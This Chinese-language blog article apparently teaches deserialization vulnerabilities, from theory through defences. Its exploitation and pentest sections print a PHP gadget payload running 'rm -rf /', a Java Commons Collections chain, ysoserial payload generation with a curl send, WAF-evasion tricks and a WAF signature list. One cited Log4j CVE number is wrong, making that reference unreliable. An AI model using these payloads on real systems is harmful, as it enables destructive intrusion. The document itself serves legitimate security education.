Loading... ### **反序列化漏洞深度剖析** **核心定义**:攻击者通过篡改序列化数据(字节流/字符串),在应用反序列化过程中触发非预期行为(如代码执行、文件操作)。其本质是**混淆数据与代码边界**,利用对象重建机制劫持程序逻辑。该漏洞在OWASP Top 10中持续高危,可导致系统沦陷、数据泄露、内网渗透等严重后果。 --- ### **一、漏洞原理与攻击模型** #### **1. 序列化与反序列化流程** ```mermaid graph LR A[对象] -- 序列化 --> B[字节流/字符串] B -- 传输/存储 --> C[应用接收] C -- 反序列化 --> D[重建对象] D --> E[触发魔术方法/POP链] ``` - **致命环节**:重建对象时自动调用魔术方法(如PHP的 `__wakeup()`、Java的 `readObject()`),若其包含敏感操作(如 `eval()`、`Runtime.exec()`),则恶意数据可触发代码执行。 - **POP链(Property-Oriented Programming)**:通过链式调用多个类的魔术方法,间接触发危险操作。例如: - `__destruct()` → `$this->obj->trigger()` → `system($cmd)`。 #### **2. 漏洞触发三要素** | **要素** | **说明** | **案例** | | ---------------------- | ------------------------------------------------ | ----------------------------------- | | **可控输入** | 用户可传入序列化数据(如HTTP参数、文件、网络流) | `unserialize($_GET['data'])` | | **危险魔术方法** | 类中定义自动触发方法且含高危操作 | PHP的 `__wakeup()`调用 `eval()` | | **暴露的类路径** | 攻击者需知目标类结构以构造POP链 | Apache Commons Collections链 | --- ### **二、产生原因与常见场景** #### **1. 开发层面缺陷** - **输入信任泛滥**:直接反序列化用户输入或不可信数据源(如网络请求、缓存文件)。 - **危险方法滥用**:在魔术方法中调用 `eval()`、`system()`、文件操作等函数。 - **框架配置不当**: - Java:使用 `ObjectInputStream`未限制类白名单。 - PHP:`unserialize()`未设置 `allowed_classes`参数。 #### **2. 架构与运维风险** - **过时组件**:未修复已知漏洞的库(如Fastjson ≤1.2.24、WebLogic CVE-2019-2725)。 - **高权限运行**:应用账户拥有 `FILE_WRITE`或 `OS_COMMAND`权限。 --- ### **三、利用方式与实战案例** #### **1. 直接代码执行** - **PHP示例**: ```php class Exploit { public $cmd = "rm -rf /"; public function __wakeup() { system($this->cmd); } } // Payload:O:7:"Exploit":1:{s:3:"cmd";s:9:"rm -rf /";} ``` 反序列化时自动执行 `__wakeup()`中的 `system()`。 #### **2. POP链构造** - **Java Commons Collections链**: ```java // 利用InvokerTransformer调用Runtime.exec() Transformer[] chain = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", ...) }; ChainedTransformer transformer = new ChainedTransformer(chain); Map map = new HashMap(); map.put("value", "calc.exe"); Map transformedMap = TransformedMap.decorate(map, null, transformer); ``` 反序列化 `transformedMap`对象触发命令执行。 #### **3. 框架漏洞利用** | **目标** | **漏洞ID** | **利用工具** | **效果** | | ------------------ | ---------------- | ------------------------- | -------------- | | **JBoss** | CVE-2017-12149 | ysoserial | 远程代码执行 | | **ThinkPHP** | CVE-2018-20062 | 自定义POP链 | 写Webshell | | **Typecho** | - | 篡改 `__typecho_config` | 写入恶意文件 | #### **4. 高级绕过技术** - **PHP绕过 `__wakeup()`**:修改序列化字符串中对象属性数量(`O:5:"SoFun":2:{...}`)跳过重置逻辑。 - **编码混淆**:Base64、Hex编码躲避WAF检测(如 `rO0` → `Base64` → `ck8w`)。 --- ### **四、防御方案(纵深防御体系)** #### **1. 代码层防护** ```java // ✅ Java安全反序列化(白名单机制) ObjectInputStream ois = new ObjectInputStream(input); ois.setObjectInputFilter( filterInfo -> ClassWhiteList.contains(filterInfo.serialClass()) ? ALLOWED : REJECTED ); ``` ```php // ✅ PHP限制反序列化类 $data = $_GET['data']; $obj = unserialize($data, ["allowed_classes" => ["SafeClass1", "SafeClass2"]]); ``` #### **2. 架构层加固** | **措施** | **实施要点** | | ------------------------ | ---------------------------------------------------------------- | | **禁用原生序列化** | 用JSON/XML替代(如Jackson、Gson) | | **最小权限原则** | 应用账户禁 `FILE_WRITE`、`OS_COMMAND`权限 | | **WAF规则** | 拦截特征数据(如 `rO0`、`__wakeup`、`InvokerTransformer`) | #### **3. 安全开发规范** - **避免魔术方法高危操作**:不在 `__destruct()`、`__wakeup()`中调用 `eval()`或文件操作。 - **输入签名校验**:对序列化数据添加HMAC签名,防篡改。 - **敏感操作隔离**:反序列化在沙箱环境执行(如Docker容器)。 --- ### **五、渗透测试实战指南** #### **1. 漏洞探测** - **黑盒检测**: - 提交畸形序列化数据(如 `O:100:`、`}`)观察异常报错。 - 扫描端点:`/api/deserialize`、`/cache/load`等。 - **工具辅助**: ```bash # 使用ysoserial生成Payload java -jar ysoserial.jar CommonsCollections5 "id" > payload.bin # 发送至目标端点 curl http://target.com/cache/load --data-binary @payload.bin ``` #### **2. 漏洞利用链挖掘** 1. **识别反序列化入口点**:查找 `unserialize()`、`ObjectInputStream.readObject()`。 2. **分析类依赖**: - Java:用JD-GUI反编译JAR,查找 `readObject()`重写。 - PHP:审计 `__wakeup()`、`__destruct()`方法。 3. **构造POP链**:连接 `toString()`→`getMethod()`→`invoke()`等触发点。 #### **3. 漏洞修复验证** - 检查补丁:确认 `allowed_classes`、`ObjectInputFilter`已启用。 - 测试绕过:尝试修改属性数量、编码Payload测试过滤完整性。 --- ### **六、总结与行业趋势** #### **反序列化漏洞防御矩阵** | **防护层级** | **关键技术** | **有效性** | **适用场景** | | ------------------ | ------------------------- | ---------------- | ------------------ | | **输入层** | 白名单校验、HMAC签名 | ★★★★☆ | 所有语言 | | **处理层** | 安全反序列化库(Jackson) | ★★★★★ | Java生态 | | **运行时** | 沙箱隔离、RASP防护 | ★★★★☆ | 高安全需求系统 | | **监测层** | 日志审计+IDS规则 | ★★★☆☆ | 事后追溯 | > **渗透箴言**: > “反序列化漏洞的本质是**信任边界崩塌**。永远将反序列化操作视为高危动作——要么彻底避免,要么严格隔离。” > 近年漏洞趋势显示,**POP链利用占比超70%**(如Log4j CVE-2021-44284延伸攻击链),而**Java生态仍是重灾区**。企业应建立组件SBOM清单,实时监控漏洞情报(如CVE-2023-34040),并定期进行灰盒审计(CodeQL+人工渗透)。 **附:渗透测试自查清单** - [ ] 是否禁用原生序列化? - [ ] 是否启用类白名单? - [ ] 魔术方法是否包含高危操作? - [ ] 应用账户权限是否最小化? - [ ] 是否部署RASP/IDS监测异常行为? **参考资源**: - OWASP反序列化备忘单:https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html - ysoserial工具集:https://github.com/frohoff/ysoserial - PHP安全编程规范:PHP官方安全指南 最后修改:2025 年 06 月 06 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 如果觉得我的文章对你有用,请随意赞赏